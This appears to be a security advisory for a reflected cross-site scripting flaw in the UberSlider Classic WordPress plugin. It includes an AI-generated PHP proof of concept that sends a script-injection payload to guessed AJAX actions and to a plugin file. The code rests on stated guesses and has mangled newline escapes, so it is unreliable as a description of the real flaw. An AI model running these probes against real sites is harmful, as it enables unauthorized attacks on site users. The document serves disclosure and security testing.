Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-28102: UberSlider Classic <= 2.5 – Reflected Cross-Site Scripting (uberSlider_classic)

CVE ID CVE-2026-28102
Plugin uberSlider_classic
Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 2.5
Patched Version —
Disclosed February 26, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-28102 (metadata-based):
This vulnerability is a reflected cross-site scripting (XSS) flaw in the UberSlider Classic WordPress plugin version 2.5 and earlier. The CWE-79 classification confirms improper neutralization of input during web page generation. The vulnerability description states insufficient input sanitization and output escaping. Atomic Edge research infers the likely root cause involves a plugin endpoint that echoes user-supplied data without proper escaping. The attack vector requires an unauthenticated attacker to trick a user into clicking a malicious link. The CVSS vector (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) indicates network accessibility, low attack complexity, no privileges required, user interaction needed, scope change, and low confidentiality/integrity impact. Exploitation likely occurs via a GET parameter in an admin-ajax.php or admin-post.php handler, or a direct plugin file. The plugin slug ‘uberSlider_classic’ suggests AJAX action names may include ‘uberSlider_classic’. The fix requires implementing proper output escaping with WordPress functions like esc_html() or esc_attr(), and input validation. If exploited, this vulnerability allows attackers to inject arbitrary JavaScript into victim browsers, potentially leading to session hijacking, admin redirection, or malicious actions performed with the victim’s privileges.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

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PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-28102 - UberSlider Classic <= 2.5 - Reflected Cross-Site Scripting
<?php
/**
 * Proof of Concept for CVE-2026-28102
 * Assumptions:
 * 1. The vulnerability exists in a WordPress AJAX or admin endpoint.
 * 2. The plugin uses the slug 'uberSlider_classic' in its action hooks.
 * 3. The vulnerable parameter echoes unsanitized input.
 * 4. The attack requires user interaction (victim clicks link).
 */
$target_url = 'https://example.com/wp-admin/admin-ajax.php';

// Common WordPress AJAX action patterns for this plugin slug
$possible_actions = [
    'uberSlider_classic_action',
    'uberSlider_classic_save',
    'uberSlider_classic_load',
    'uberSlider_classic_get',
    'uberSlider_classic_update'
];

// XSS payload that triggers an alert for demonstration
$xss_payload = '"><script>alert(document.domain)</script>';

// Test each possible action parameter
foreach ($possible_actions as $action) {
    $url = $target_url . '?action=' . urlencode($action) . '&param=' . urlencode($xss_payload);
    
    echo "Testing: $urln";
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
    curl_close($ch);
    
    // Check if payload appears unsanitized in response
    if ($http_code == 200 && strpos($response, $xss_payload) !== false) {
        echo "[+] Potential vulnerability found with action: $actionn";
        echo "[+] Payload reflected in response. Crafted exploit URL:n";
        echo "    $urln";
        break;
    }
}

// Alternative test for direct plugin file access
$direct_file_url = 'https://example.com/wp-content/plugins/uberSlider_classic/ajax-handler.php';
$ch = curl_init($direct_file_url . '?id=' . urlencode($xss_payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == 200 && strpos($response, $xss_payload) !== false) {
    echo "[+] Potential vulnerability in direct plugin filen";
}
curl_close($ch);
?>

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